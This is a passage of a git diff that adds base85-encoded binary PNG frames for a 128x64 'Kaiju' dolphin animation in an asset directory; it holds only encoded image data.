0000000000000000000000000000000000000000..9a13e7c67db281d96949e0be75aa7ee4197dfa96 GIT binary patch literal 1592 zcmV-82FLk{P)PbXFRCt{2UE6ZqAPmGE|Nk$$Po#>DgjN?WZn85O5*vg-Vp%v% zdOgqcv;nT`YQ2i~z4WtWM*?r7)#LT8dNZ)I?^*rdNT*hC5oqn{V4ml3B@s`+U-)4r zKx_Y!U_~z`ls_^*)2%`?%=8L8uO89;1H zljGedExV^MK*Z0o1mF&Ir&lC`h0!FTex1$$qvs_Ipsf_H%saG%klu~#&e~40wohV! z4!-CRyQxzE4}RZQC8y}S>$=22NyyOj3_BgG8DP|Z|GAHo#~{rBS|;*m2ut*K+-cr^ z<(3gij1w7PG`_F~KswRhOAH~EQew@(XwS5u1%a2VHGt-u=BJARX6(PC!L3~NS!fBd zk^vCEIIBVoAO&QUW!5`s#hns-50&zE98?FbNP^y{<`3fEhX|yV`p?z`QQ^Tw2zMS4 zIBy3X*Ql%rzO+cSlDGTD0NSdr2oN0vIykNU8({6t)fyn;-J zVgbunFPnLjz++P@C0}pa5HaKhdI~`7oCsvaTkTge0JnE%9T*87>D_2wLYDD0Hgo)umh2FL=@ z035fqGNLO-OM)GN&WwTDK>PAw*PL{GTm(^MokN4ZGdZfUlK~J7Koj)3uJ88%ykdoO z)b5Tz@9584f2DsP$3Usl45yGJIE4i=iTXMXz$?xOf~53U1bat9oz4IpW&bSP8VD*1 zwP$a^=^B7T)c}>?!lT1V0zOHeM93yh^f>q<89*Df=W>Hjbj8F}CAIes1i^6{pfVHD z!SNFZKX+@#7o`6RT@z{hBN>1qG9YQ9`?K8>z|4V=DhMaTR;p%;0dgnE`7r_Lej8r|Ob~ zp5-N*(u7-q_N;28jwTGN@TTKxM~VR`l_GwCw-b;-z1)x06LrFyruYDUIJ!U?(L(Hut+6>gsXQTvh@)x_LNhUDOVo4*)hA$o~o z4Lo`ah$?9`5j;s|F-AqwXTcZsa0@^$Ya++38Hgm6mI%>cNl9=*;3YiIgKq&EMj9X+ zY%jZTdh^~VP#YP)`Fxxfc#8BEARSvqM;UZ7tN5PEgg2+$wn3v{FPb{)C z>Gyr#?Js)oZS3~m8wKfnHg?MY#%I5D2tTLaAH!!)kZ^CJRS6`~@=5KKh` z?GJq5Z=Qh}@-6z2HGmgT0Z0P4uN{L7S7;2#^z1FA=c)27_6a2bR&Xc*_a#W}Cq8C1 zCLGI@D>stQBHwDCGy*^+pu*bgF(_hqoX?GA#fcHXqbExMt-~TQoBfm_R*br;+i4MC zcHA8Ssz@NEi4}&gIDLkbA^@}#-b&+sbO998GBK2yIfyd?B#y_35qei`XY#QvusxS+ zfGiSNW~P(^esT>U!CV92L9?U43Opo;r~%+Onp~Sz18}-=dQKw%9uymHri5g?tX$lh zo&=HL2vHdUGs4KeR+6cr5Y)_g>Hf+Ih{p?w0Jx6W ziCG$`lCOca7O=>k)c{z(kO*K!WfZ6`1icZUHQVm`r^eKb`(*5l0Gb*A`lNU8HjrB=kU$k&)R;d7r$>N~Hjul> z@*q_29Su+3&S+sZGBr4+2AB=@&7nFAr$+#c={JEE5@`EQ&jau396UI^2EY(M3iXhH zQjFT)mHRS@^wiYqm>`oaz@}u#p*yv4WKoqmN3@wP9i~T z^1souZZq-r7eZhGmL>eYKmUS-7pJ`>!UgOTQot+95%8x9E9(Rq#Cc-9^3esr-z~KO z#Og9K!${ zq)T?I2W3Hc<#FpFv+Ln`s&3Gvq)QT_0X2qXe2sF{djpLwxI3^cYH0}+0 zyI3~ErF8)3WDm3v#X9?`alIsv^7-zTFDk-`Uj=K*{1`zHZLNsq17DL_(yTMzJtPRU{3zTMJEJPFAvKYk(DCC8>pqsvg>d>X~f0&$?DIvpM-6N3MWkr`72v=2tCtrvM39zpxr$=J*{& w+%9TB?jEFXW0F?irG_|vx-T(jq07*qoM6N<$f*O#b7XSbN literal 0 HcmV?d00001 diff --git a/assets/dolphin/external/L1_Kaiju_128x64/frame_38.png b/assets/dolphin/external/L1_Kaiju_128x64/frame_38.png new file mode 100644 index 0000000000000000000000000000000000000000..93da7f4f94b06909289dcbdc89181a3c10a2f39d GIT binary patch literal 1489 zcmV;?1upuDP)1ZUZe~C;v8JmN$l)F2__2&N)} z^#yMgWdi9ag^HljB`=k;8D>#&ZpEYRhCqCyj zCY;NaD>stQBj0PEG6Fy)pu*Pi7!)xg&gbUx;=~9L(UT>B)nS>CRzGEk8KchXc3K3G z&W9twDiUaEVus-}PM2^}1b}wJM{VAZE`VZMC5AGRgE%8V;zW#?q4%nzBp=%X+jF`G zs3L)9WojwlH`f3f+%*86v^omRAVPwS8UW5?$+cBA0H+(Lrx*e7q}Xth5}NUR z5@doS#L5U@(F=a2^t<3d&iR}Hxv(rLP)!C-PPRNLFRvoOkjd#|(eDMnfbXpe;DV#~ z{^Mm;E(=iR3bJuJQ0W05Gn`M=Hrx?k*L!a-tMj#x!+pQX@RY$UMy%4Mwa>)>7lk(h zV9b#EM-5_j@Csmjs?UwKM{Cy;fJEE6KE?5VWj#?fR7q5YLwq0dO6$ z6H*#jCEo&XE#Q$Y)c{z(lnCI($|$h95R68E)_l(+WFaL2oK_z|z3&hK@VO|wtz>KM ze;YW%LT`1wnlN{W09qYY76CK?+2LnbSCP5Wta2n&?3Z}<0R}D$^SBl6$*&bZSOS&4 zEC%6F72S3h&KKoeYgMl~pPJJ$@13zT0$6GQ=#$>T-9T=mKm%29QFHzloE`x_+CXlQ z=Z8?ecQzt?8bF#Xi=CA5pPB|vj{q3rGl3owNP7objbJGtcXSRBoL&Q9 zs1JokNC1`5##_hEVpSV>+X#@Uh<6@|WV3ovb62*3kEsFh#1;e0tgO{rwpF-o1khk5 zfptU3JN7PkTn&&3?0jpTP>}|za5vKadn9ZetBgcd^48pcmkyvcUj)ehO=UGeCT6yl zXXUPl0w)mFbL&2x02#RrJ1To0;H0~O+3?(;Yfbn&fnH(bdJfdw*1L$A?P+wrRnIz5 z*L(fp!7D@IaU)2>aKLzR*T8XiYzwtq>^)ZEH3UTpu84v|mUOL^R5Le-DsV@#PW_p< z0l2C&jB7Py)S1;?1?;Laj+OX90GP|Yw}auUqQ#+b+D#%{3*90G%nG3#ZmkKV`K)8T z*F@xa=DZs|x&Zjza~H5R`N7g^L@Io|U7CeErGS#Z6zbXU=Md=tX4<@rf-`duWL0_- z|8=m(pjgqY)S^Wf?Yivo+FTIcI*K}0@IQB2%9Uw0swFj&&@QXU)U7JMipMS_zkt z?=3oEdGK>2HDg>F%PayY=VY%yF3m_fdG)~ck0fh%%a>(eQwq=&feLZw@OaC-+Wi6v z)QYhJ%RObI34^k^7vU7pnvWn6RJL^*tSKN{t`{(6MPx63AS8n5e*X-t^$$igT4cA) zR`k}|GRks!l{$|@u=|HihV9iW*%M8ru8Iq^2zI3aE3kfPHGt&!9Yx$O%-s7}Aq!tKO#sdDr?yb1A>zyo(u4_+ r5$eB~Lk4Nw1h9nq@2Wo+m^6O?V_bGuj^r&O00000NkvXXu0mjfe?7R4 literal 0 HcmV?d00001 diff --git a/assets/dolphin/external/L1_Kaiju_128x64/frame_39.png b/assets/dolphin/external/L1_Kaiju_128x64/frame_39.png new file mode 100644 index 0000000000000000000000000000000000000000..7510931b44bb100b314d9bc617843bd51a2cf164 GIT binary patch literal 1438 zcmV;P1!4M$P)$~B7-|wG(!YA*5C(dt?@6`<69HDoHRyL1<=sgX#!|F#% z?fe-fru-e}x9aC31oR!D7xe?e-#J7p0nR__L|VYLH(6#nfo6WnPE>hei-ksqb?`NA z46KaW30~tz#PA&%z#}K>0C0d(aHVlOic<1@->FK-VuDfUi*^FexnaGT0WeTT;M#MF z^fCgcge>}}*0&1-K;8D`FavlX?f$-vg%PmvRyo0L3;;J4)bTI_Xq5tmz=ZDGw7QuL zU|})}J2C);DGZre2=El}GlL0hx z^?zgXrQ`q}NK8QWp~`G0z{awMvr#8#b5inX{n|o7Zpb^iq;4bg;5%`FiA9|*c_b$c;x%a0ie*cSpg!#XsZ~Y&0Pw; zks=rXLSh}P?bU>W)P!}&bP9|bM~z1@K;}BQB&@IV!o$VbKupgDk6S(!?WG}`VA0PDQa<^Vk|j3zR%f@Mx%04a$~V*oh# zP9Y%jE+BHJaTsBMsJS)w01elUaX%VR*%`+`YrDSvO8s9?H~ws_WB^SL&^u_Y_46h$ z+Z#ROXJ)_|*qs5sj)9s^)S`au@r~nh0ICC)7@o8fS7CPsfMAorjQHfiNnv338~_5% z0kWPv!Esl4{>-O=n)b_20hrKHXYe+b=k+XP9s`ff0kAu14=k5T)~n|ea2x})Um}lz z-lHDZFCsL}$Rm!-0U9tSusFqtf_HryX~ikYYD4(j!X*Rl`rIK3mdz6FEFsSVMp=LZ zH2xEIJj4zRz{vn#yD&p!7zaCIj?Sa$3t!LJdE9&yvShGc>ysg%A0+Z_K$GZYv%*eK z12z3EPGw!&`(xsw44l2gdhB{bD8*uHnThuYMPkbA>o{SW(HmP}ZL#s6mIIu)mXA*g zm7D+r_Kq70ZLHp5MzJFcz^m`kG7~S&gwZ*G)?rQq_0FRsLO_GZ*!`|vu^V?`ffJpY zeLnzpG{k@%wXph3SWXbx&T?D`z@Xh#eO&MByvCogoBJ@N{n6mW5J0{kz%qGjt7V8R ztiD~`B@|h}eqVrfLD+7YZH(DQz*yp>5J2Vt4cc9W9Uq?p%n(+#lOEM#r8F1T2CL(2 zadBP-lR^rVf~3nMNjNVeLV>jVI74G?y>XoiuhzVT0{f34QfDtkX&Gh2fYfekWB2V~ zU0;v&k>-WK#@2+48DQTJz!?BrfCe*@Gz}BXII?oi)H@*Ov{_Jv01lMEGicZnzIM2) zfU>QYqm;oAPzs(WaJhqap^^hxlTuA0Wf?yTFa*s$#kfO2DK-c3V1z|R4d`W`kqfXk zu5_;wiETbAmV-wTqYj|We;~X@lR{P&YALp_jvawE4nqZa6f(MdX2)a;n_BV)Nq1?V z4*-S4jyN+jZ!1Q3a%Mkkh~RXNerwnWFz>V)eRX0sg4vE^1(YxJ3nNO2JK~&RYz$tx sXXQDt&#(hXhCl7;*eZB(oCv4+1L}9b5t%S*1^@s607*qoM6N<$f(+J@S^xk5 literal 0 HcmV?d00001 diff --git a/assets/dolphin/external/L1_Kaiju_128x64/frame_4.png b/assets/dolphin/external/L1_Kaiju_128x64/frame_4.png new file mode 100644 index 0000000000000000000000000000000000000000..f99454b164c598c8b5e6ae11d8d9864b7e3077a6 GIT binary patch literal 1284 zcmV+f1^fDmP)#PQ8w{{HVu407ihiAtVW;!`7}vtu(r>w;lzx{D>EzvbeHm z=LIkV&}3)^cp@f!-vX`xq--vq|D0We&S?z^&=9by974z37NtkLfTnypKk5NcL>g8F zoCaFc&nhP+L_>&nJsV0=jUakRCpSMNRLkvAel!GX$z>#u(n6G0k$4Ds0L`sPF^FzJ z8f#%>?41qEk}V}>EMH0>>F0nr47~bZOWs;6KU;!#5dh(uDk2%I zXH7fh1X=GTDNZW?r19Q9x;ufR(Ayx{N#PV)EuWdIbrY>MwCmQ`ZURKyZ%g~rYIRDD z4sFhCWV3W>ZbW(3xQthZcmSzv(XRKdf$li=!U}^K59cX=RE`4=0qA@HA!7wOq}H#O zGewk7KU>xx^#a?y8+c;r$LoCU9-^VpQoaQ`FIs+X)d!Gz+9mSh}WX z`P+8_NA(m+S<@HrJb{$MWG!D(I{h381zUuG8OhEpcs=_FJmpIkFXai5JuD?a??LT~ zmiS%gMJ=Dpr^KUs@USEV>`<@IfE9~9;%9sRk-mw9sRa0n;-kr|l?z0}0GE>up~DG~ zZHD|Byo_8UfplFfH6y(P4MPaf(&MjVQB9!MIE-9dyH3G-2pL&i=9E@&l literal 0 HcmV?d00001 diff --git a/assets/dolphin/external/L1_Kaiju_128x64/frame_40.png b/assets/dolphin/external/L1_Kaiju_128x64/frame_40.png new file mode 100644 index 0000000000000000000000000000000000000000..a17a14044a94054ff24eff8c1b51bac31c273251 GIT binary patch literal 1438 zcmV;P1!4M$P)kKQKvOJQ80A_|Ne}^p9Gsmcu&^)qeHk^&j-j0Un{- ztN*$#I*#MFweV$t57ZyB@A~`K6=~aR?eiJADE$>J*S)%}(*M)bh1E(P$omofqbRRj zq<*V)?+l^sfqX8n-5&kX`8lPB^)7;CM8#xe7NH-P#mdExY`&?c|?LK@#*S2{uUqHEZR0r;Hvt;qmfs07V1`aaTluP3fz z02Fp(0KVZ`A8VdY-dURDCRFMp?fTJVS;nklfRUXM?8pEks0<)^jx^Ys3~OxlBt)EG zh6zUcdAphcMz)RYd}9F5;v(sD2L?c3f^Z}8}S zZGt04qG<3=C$M5OItQ4s55fQ(T9}ZOSI6$V7@+AUdUw+P{VW4;Sga%Ug*t%ru>1j# zIe^C=Nsf0yXP_lv{d+UHLWP|W2k<0ovz}kU05dYJ1&AbLy=}^4 z>&LEif>{P2ir>Z}01p8~@Am^*Hp<6HPJpmyX9nQ!&0;2u!cPG_+m3oKIuVrYszfFS zAd26}X5n&xY$7r<7PV-780g=tLWTiQy0sjD10DiKED!~9$4cR4RtBnH-+xtjl2DQZ z^q6Ii-hrNkI~l-}1MvK;+yRK@o#1JUPqaS+gpYwU2CgW;?27+B2at?<;!d8$?hL@O zECfXGWQW;32jEa009l70^|=F;4)!q&u%Zf=-36I4@r*8{?2pa?ybmW;45j*k#v~OJ znZZXe0OA%d0>o*-;|MEqi;v0yRzk`dc+o-|w+nW%#e+8o$eiCjW2El}a6~SZ_`Ukw zh%f-!UT6+bQN-c$D(d}rV+T7l8~A4@|F9|{kz|jY3>g9>**o0^q7h~Amwz1UU7)Oi zO*V&ifq@JGJKY9)#z&kg`fTd&1kQX9pn8XCdUt^pi=%BNP9oWJ`u8j+@EmC*HnBYR zX{UglZ1Lih7KP}2F*OSIdMcMOQz(-3Yxdm%p2K9@O8ka^M%~wSl~PZWkJhon;`7b( z=nxPApZtoW-8Tf(;6xZbI>u!kp(+GaFVd4jz)6%l?)4Lopsq|6GNL02k9_WosJ0R> zAwZjWPq9U#=^1=OKs{dS0NG4mO7603V6h4++#vC!5b*MA;q7%h5%ebm3w{44XXT=J zD`=HAp-%x^uB18HFxH( zh0lT;DS3P4B(DeoNWGD9R_UEXoAcuWuY%;A(M3n!DXhe5$BBa52g?Dpg})<-y9h($07*qoM6N<$f~i@aj{pDw literal 0 HcmV?d00001 diff --git a/assets/dolphin/external/L1_Kaiju_128x64/frame_41.png b/assets/dolphin/external/L1_Kaiju_128x64/frame_41.png new file mode 100644 index 0000000000000000000000000000000000000000..f763540c917b48c20a54984132b516ab47935de5 GIT binary patch literal 1412 zcmV-~1$+95P)hLzz;{h#>kuQEvwZiy!V{y1I$Kh&bN6xMN7?W4b5{{c@8a0}g5 z{pWeYaU9>RhKB(@P`}H*^XsS6(~j@b{fOKu{T(gUy}Iqv|H5>kwOjD4%Nc(VOvd-gHAhx$N z2sl|o$EqM0I%oD+>@x*`Gzrqga>iFVf5@NN)y)7BxO9_E7m}WF-#U+O2EYc-u1gc_ zF|vvVuM7e$H&@pH5&KFQfI>^H090OC0BF@F?l)^IozJbX74R^?=)bZCp!S&qAQOS(AtV{YS-5}3d3fx~ zAc!&mfd4eM0_7)voizGYf(hfX!% zWV0{@K(-KxjIDASP6PN_7cvY`rCX{2D9Tg7j0L=?T(MkwiOQ(zhx@NePaIlm0E{Se z-~hT4u4Dj94M6L&_5c8g2f^K(53oN2xL*S!2CmqE*%g1j2H=bu4@+0aCkDpu3_#Hu z0M=Iae1UN$~54ZF?M(0Uc1UuPc!LI=5dVlBS&GdK< zmFT(p)$lMtwY{Y^K-VUYM12{ZJ2)R;4?83q=)E_+S#kOXkjrhADS+E!*y%K|8eRtf z?;nR+DVkF{`p>}0n#t}?0Xv-rTE=^V%KL2M-wCw*9sqaVKEseTJ{@lXJ3!0D-nJ8O z06uc?waNm^^H6tt3)smPD_$He&(gsRcvV+U0A?2NdBT;THB7ec#CHn7j*o2R;!k&> z#bJk)M}zU!DZmO$dliObc~1)H$GgI4?Nl!lTtjZ=meV(^~{$LXSNR+k$qXt@c7o&Ry z1G8PmF3@@;+e*(yuS zb+9OzRp?qxQH9wgSF=Zj{GF(Oz?=eR;I@mUEoAG&X#r$OAsKWyA({d@5l#UBz5t0J z!y;MciKc*^ict%;`K3?^k=2lOgth*mh|~sGrho&$_n$^(Fw3jlby{S0ZVYi)y^=j_ z>Us6m=1%=v!BJ2nx#;ek|`=|f$13@63_$6Fk5UBk>stGx zC~Lmx=#g)Y?v){o6v*fD>g|yqwa=3p_B_v!6D%bvj4|T`dfzNoIzO`bqIy0h!;Ba~ zo1ET9&m)b6bV3xf!B-vp+Hq~($8j7lj_)VwF^h)i=YAjkeb!k~8bmo=!%hr9?J*in z29Q>AKc*=`gHWj*Xl^k4fjLvX(LkBY2!Y(lde`8DIpJ z0jxw4Kx2W3 zG3Yr?zuA>5={g##gFu>#r_1Uf=rTw8c=U5KfTo0%0(canR<5Q`H3Mjn(#>qT(B$;< zUOTD`P=Sb&C>p#n2&~+Ut^qRoL2H0W3P3V|N3Sawpv!LUJxJ;CSq9*+SVy`R5&)4D zfUE&LdP(zm4Vr;ggwbP}TA@PE zcvif1|4Ihn^N9=)HB=-8WUAr}q!qRT5eDejudD&MeoIq;_8{F^^!gd+(R)`0L6!kp zvlmANUIHL%ByS4P=H@vR>9pM$fFH{ulSY^C0xX~l!LHx#3}6+JOBf&uuTe7;hH@HB z1N2xGW*7h^TdM&$mN$YTbE1qRrI+j+sO#wUtJ0H%-vG!cVy)7dEli)Ya+Z3R|Ql_d9)aHt&ikU83WPUXD zk8CepBOOy;26?GnTWzD_%+uuYH~^Jer0cc7)okNAhgiv@^on}tpr!yT3bPLu-C9~T z#tcR~7=CVs;dZ3{4mAZ>t=*1@!V%iOqPr(O7fO$vs{amG3eaE`Xfwu()*W2_EGn62 z7r0Zv2z1LO^#iih>FGacm~|SRAGIPsDh0F_3y=(ESY(y~vg~7}O^f;?Iv}w8yMi;w z7y{LXj-Jcx4tTM>vi3Pzi~YB8Gw{AM;6}(81(^a?Ai}26EwtJPsCrPYq!jIyMy^f) zXt|O5qQ$9Z^Wy}2L5j|()6wq~R$_JFM8Wlg)c~5~uPEZK0^-G2r7V8WbO2b6|KvS1 f5}6tY5j6h*`5Py|3n0fx00000NkvXXu0mjfU$&E9 literal 0 HcmV?d00001 diff --git a/assets/dolphin/external/L1_Kaiju_128x64/frame_43.png b/assets/dolphin/external/L1_Kaiju_128x64/frame_43.png new file mode 100644 index 0000000000000000000000000000000000000000..7eadf75185ece2ac3ebd0906c97d054942ac276d GIT binary patch literal 1397 zcmV-*1&aEKP)RCt{2UE6Z&APj_z|NobL9y**7Rp`bF7P77K z&+{y`*8io3hXFoNzDvLJ=iBKi+h?ghGA>GfMoDF_F0FL3a3@}0(1N6#Bf;A;pGeCq1BnCt|cf|Qex{dUNGk_O6FaQE0 zhgit~7QOoKoPH1n(CR4tMpy1=5%Yp44}cIB#H*Fbb=;Fa!^$Gi|Pku08a=&GJuAw7@)~6<*$?W&(Vud zV;!#Tl3hUG7nuWCCWISjhRrl^E0t>#$rUp6JiIX}g1+w#3=kPpd-u_b*K|Y9yC(-| zy54#hpkYN0U|I26|CJ0t$2(fZj1ry@AjK)9@wpYY0v-lv?N{aiRKK?*Fv|m5e=U!Y zoFOW6wG%`cpcH*^WZ<9=B2Hip0g?e|3`H7kcLt!(qKJgiqbZ?zB5D^9eTf;|fdRB6 zav1|~f_fT_Akr6Qv_1^<&$2MX04Ui~4nV;sft<1y`X1FqUJ|)tx$qJl1J$l?zbZU& z_`?7rtO@~i%*@rAfh!rnk^}VfS!;cF0Io426OH!0oAFE8p8@`C0}+E}gn+x^wmCpQ z2$win1XG|-vF?D~8Gr)902;h6cxQ*%JqMs*9l*N<(~gL}N66X8bg-{v0PXN1TCZW| zm^dN}Irg?WKtI^b9$pjN*N?U-)=lxe>2R*cd zxgI74h+YR%!L;4TxsV}%8+)hQKs3D9=t~ZQdPvESbb)~k0Xy9WTKapO%KL8SzY{3M zYpTQ*G`IuxHfXWfTV?{j4IF`^CC~2+?yw8kNf#@o9l%37bb=xWMVx$Y>?=WYnAtKD z%l}ktyJbYv+YZL3O!##npdn*x_k@5Pq+AA}jybbJK(>+Y6auCkfEortU0kwgJ!kO9 z@WL`acPD}=VCE){_T?NQY9y{7o!n9Gu`-F`aJvwI za02dmHb%L}N*y@)XzCw10@sFnCSC?ff@UVrddPz`lH?FxmeN+ARF7QAqwtElb2uzU ziq=d0v=>0;CT%?WOq0d+=jt@tIzIE zW>BkqtsOb@uw?%h8AvSuK}ZCVi9jZhp1R2HfbPUrhNoJJ@88DFzu+iX`qTMD<>k=g>ZopM=qY>6!Qg9g!Rd;WYmMkIM6+eyIw200000NkvXXu0mjf DE2n)B literal 0 HcmV?d00001 diff --git a/assets/dolphin/external/L1_Kaiju_128x64/frame_44.png b/assets/dolphin/external/L1_Kaiju_128x64/frame_44.png new file mode 100644 index 0000000000000000000000000000000000000000..5241195d32bc160a3f8f6e1f04eda860211538bd GIT binary patch literal 1217 zcmV;y1U~zTP)z1 zai;(_V&x3?A_cG!Q8PSJNGX5=5t%Cfg)zMlGcyrAyx~1eg1#>WU;qzzZ-7T9n9!hl zXFDpc6aWD9I2r{#UiMVfTC)Zip;_t7Ol)Tq??mncI1qW56A{5mk>oyr5i3sejzoaw z?HS~GfSWO!4lE+!SE>CJfP!5=m(axE6$y1N`uhkf23nw|02o$SKL-s6vP`syfv-OJ zk7Rh;DS!t-3$$fP$%UmkKzp15aN@eIUw<<^4N`qDdYwZHwsw7m0MI;Z-JYd?RuOP( zmS%46@u+X;^%Vk`-HxTuL^4y|k8E0cticle*Em2FMh@W-f%I!;BzP#_i1&2@h}dn5 z$o-{Yg_?HlaccLc1C+nE&x@=(V6|<;0Z`r}1rWJsepk>bqJm$FZ52?;q2~dtLF)}1 z6%(4{dt4qtMFpSs0p&ST01|owBt5S!tB@T!sV#5t>3e5`&-;h)e2f6JAX}c-c%*xH z8uA9eaYY2b6wLN1jurr7+5Fy_nW}L|AR_o4o+FFE2Fu_)q1fv|tKPjlsECdhfEN*K z_-IJgyO)RZjd+d}01sX-n9}xXt^fD$pCX2+6lE3Bku?DSU`QPx-NS1Hlye2FOT8$b zBORc@;sg!aR%&wv?hdA=c3!v?w-vwBBwhAC>R%wBk zxak_3-h0D;wbdLkj`}li!LHIO5tO|Z9n^pm|K`Mk9F3HlZeV~xG zcAp@KmBBA1NC3znaVz#>wAansMEC4R!n{KWTF|Wh=i zM;3szZAF*6IM?zXre(1B*(M00000NkvXXu0mjf=Jgy8 literal 0 HcmV?d00001 diff --git a/assets/dolphin/external/L1_Kaiju_128x64/frame_45.png b/assets/dolphin/external/L1_Kaiju_128x64/frame_45.png new file mode 100644 index 0000000000000000000000000000000000000000..2a3ea8e23af713aa1210d6e19693e576aea86d6e GIT binary patch literal 1177 zcmV;K1ZMk*P)Y8+afiT?l%M3TOcp1*+Q}B7m0ov{wHCARx)QRU}^y zDG{JI8m0bO#(Cla_nTl`xsni8G5oidK!B{!uO(MnGP*M|6Y6OK+>4?X*OP!E1R|julPl|e8IX2= z#ChYr8BxSd0M4NC_tK&*MtF8^h0uCCd#nl&j_-emhMNGKK^CJu4`hY$9$2DGPlEnu z4+*H!v7Zwi1=4Z=%J|uZKdmNu>v_bhVylF-)Q^T$2+b%^JDa)&<$Nx&MZa3N%}2wY zdZ(~=hLqe&B2-TvX^!#x6-fVR*xNvnz;Yy5qQ(uzJMTv*ZI=!kE|vAoj_#U7S&srf%c%ij<7o4(pZa-07?L@ z9EqOuqoGu%jGG@FW>@q(xWrD|`5s##1h6D4BP8Rb>&LI--=%vIu zb_C3jq2&7jJB5Fbpwk}%GnLbQU8MUrqErOf#qm*SjUP*Wk17Qp?FEc@S{Kg(XP2gu zYMRJ6{tOAi{~y2uZBcJ_zC}vDVRbw=j|U+Fc$vz9DxV^dTC7MQnlThOk;giZ=UPY- zc!!=D^q~s@s$ulT$U=eAA2dL70Pn7|$fn#JGvj>&+|qQG6l~SRxxdXq8Z)CQz{@~{ r<2}3olzuV5yMa+>WIFU51OMX}ZL*z$)XYxz00000NkvXXu0mjfwJRcX literal 0 HcmV?d00001 diff --git a/assets/dolphin/external/L1_Kaiju_128x64/frame_46.png b/assets/dolphin/external/L1_Kaiju_128x64/frame_46.png new file mode 100644 index 0000000000000000000000000000000000000000..f4b263b199c8402088ad99c4dc27ab3c38f0bf2e GIT binary patch literal 1300 zcmV+v1?&2WP)W2D-85p<^O-V?-LPnye~A&P*RkfIgD9c7`y0J zKF{+!ki_Tn0RVskQx}Wzr^3i^{3XJ9_^;B~^E~i8&tD>3?2l3c3|tbNgBAh+ToRmu zHUa=#5}bfm0$l8mb^_ceus3c5_;Hlz02)RVI9(r@BUyGXm9{ciLV$0|FFAK((;=kcky4*qM5*a_JDt~((MX(7Ka6%66%u8}l@6alov2Vl>~!z|;Tp^-p3qa)`x?rZcvuW3~z zXo&#xq^s0Fiyg~Ca665%VOiX{4Yoz~r6tN-oB8*1n{0$FCjghdR@jWTqZZc^q2|Ty zI?620r^Zx8f;J&&weu}D@ZxzFOd_@S^YOcg(`G_uqwP_*fzo1WlaJ;k)b8STpCp87 zM^A(dn9y4gpeyui$yFplvx3URtFD7B#FW}#JKk}H2{3nv2ZtA|;~JRTOChE9BU;dIhRXBHMj{N)ui+1(x9s{`bgUh@Nqy9olEMdb(5+Bs;za59=Hi$VW3sb zlF$(~GQi0eM|51Tdqo^g`mL@++HwFbd9v7(9qADQ3rV)UWcHc?>t$KzfA>_m)jyzVvXL5;c2(UuW?}j9T zQEdS92TJhI)+54-R|#Ns`W!w-Tk2xQVk-j4p;lc$x+{3Iyj?~BZc#k2*4wLqL;4tl zG|q~|5r3A60__CICUE$Yg-U)_z*6r6z&~xM`vUxLtzW4hJT@cHu&4^IV_R zVb($d@As&-ls#?dd*)jDZeS%UO23Zsk#YuytdlI|VpdJuQU|EmtzC)Ld>oCRJH{Y6 z-y=6`*e(Kiq)@A!t|@vPTyZQ(k!RZ^&jc!_#2`F8$R-)oEhC=qz$J4gu{|xeA4qX+HE?~YLk;|sG7eg%2SUPIt`A^2)FThKJ zHYwQR+>TPva(!9>Ygn#2CcJj6mqcm~5J^ZpgX3&RNU&=6TbzKU+p4j7NuZ4(904>X zkLu7X`${$_L?ey|RhKZk^c}7OBvp$-l><0|WR)Y{%rQFpPA7r0_%MLapNNAxN~>R~ z20SQ}g7Mk(4Yz#1fYQ4FT!KX5+5NZl%b{Ec$U39bq4ya07ykon_@I`j=(wH$0000< KMNUMnLSTZO1z`dJ literal 0 HcmV?d00001 diff --git a/assets/dolphin/external/L1_Kaiju_128x64/frame_47.png b/assets/dolphin/external/L1_Kaiju_128x64/frame_47.png new file mode 100644 index 0000000000000000000000000000000000000000..1563ff39b27a83826ad84e5eb30d17b8d216a971 GIT binary patch literal 1268 zcmV6ZXSuAvd3*nNy%ItPdd9U0;0d7i&NS!1k1c?I~Od5L9!C@=fQ z>HGTn9vNe|_qR4dfNaU_`=@=oQfdj?Hude28xpzn(sd-eLk1n|Vu zlSx459vx!({^{@DG5R*6Aps_UC5PO#hy`0oq&}nfj*qB-WcCvvA zgnmz-O*(Cz&=4YB_l6RP01~U{|5NGYn5kiB*oaaqWZ}8E0kouMv~ZINssP*; zjY4_`YIw<$tsG1W0i_Ax$!04Uo}xFtR!c$Uf94sb^_wCio3U>8hE$EoZ-B?25BDJ zz0(9hk}!?^5@wWTcTyNV1b$2iq(u}V`syb>Y zQwYlP{FRFG8Nj>u|6pbQ^xl3yla` zwF3#^?*{f0()t)Fmqu)@vf(8*O&UFY(LR@yf@k9^68lCCT?vR0`l8L(=KHK=^&E*t z=P>>E0X&n@uG2oa$?s0;ER2M;9&}B$wT&Wt$Z>FM`ol#@uvI*%0&Px6NSfI_coF(y z2n9W~KoR|rQCmz6i1&}?BQtF+mKpA0RwedaAfL2(SB!T}MxW$!rED_d@I2|W&; zVY#>MuH+Kk_GTbs?9fv1uG;%b?0mM2u}ge$1=;$EP)YOFbE}8|NocMCsz~!X0uIheWdDkG7eriteMd~ z@B6+`faiIjNYuqf{HhZ4zArq_Qzh~%sUJ1+ox}HHQ2jDjKJWu&%Emqd?aKC^s0VL&D!zxo6 zw}Tk7YNxC90|aw`ZpvRR;{=8$#s6Qimt|#OHS0B5vxBk5XgZ%~57Kz=IgE9Td+7c2 z{Vd!BIAQ(TeDC|JuGcz`q_~~#+cK9#j3`Pyz^?v3XA$)J3|33>kbv92bxoS3b8D?4 zXBh#;LUum{iX6Z!VdLho-ZS%7k@b!FDG@42P(}dkGCM=Ev;l9s7muN`xVboaR0cN& zzmLacNl@Ae{F3tVLE?WH)cvl?bv$vMBU@%|?OVZB2^jWJSn=MqNC)k`j@RVHSUW8Z zBP4JUfYzm7LqzeM(mCssWX{Stx;76gDgsjupp{DF`YikH(9Vs@=Q8oC$HA6rL>oip zc-LhjfQ8*r85k?QN|s!dFxf)v!ugU8)VP6Bnt5Jk219OqFMHKNLEF)Xl>dKTFPL;mF$zs>CM#C`Ys`J_!0yM=}g#fLt zUI8shlh$RGA<2`@v1Kb*v&L%oueD%TB3jDPa3VqL`L}BX0oYvdY~kLH;^|x>>Io!e za`Ao^0=7I0$keV_hSny{%q_`WK@LmnmyQR>Su!O=Hq5!JfKhTpG23WV_SY&2?EWne zo5po4WBkqJQQ;6EC0a9AXi=18QD15kV`$F@1~}zP`<40%k$ynQ<6rJSM9Qv!Hn zde#~|_jh;yC*UPPI0Vp47GIBIr9!L2fYtq1gb8mL@Kgp{lE9w^i!y2Jwu;yuGFjHp z=G(#Edru{ol@F~t%zeKd>_o?Qa|SJbIC6*eU+_5oyMb4kXYsk8jk|=Y#nO+2ab+UL 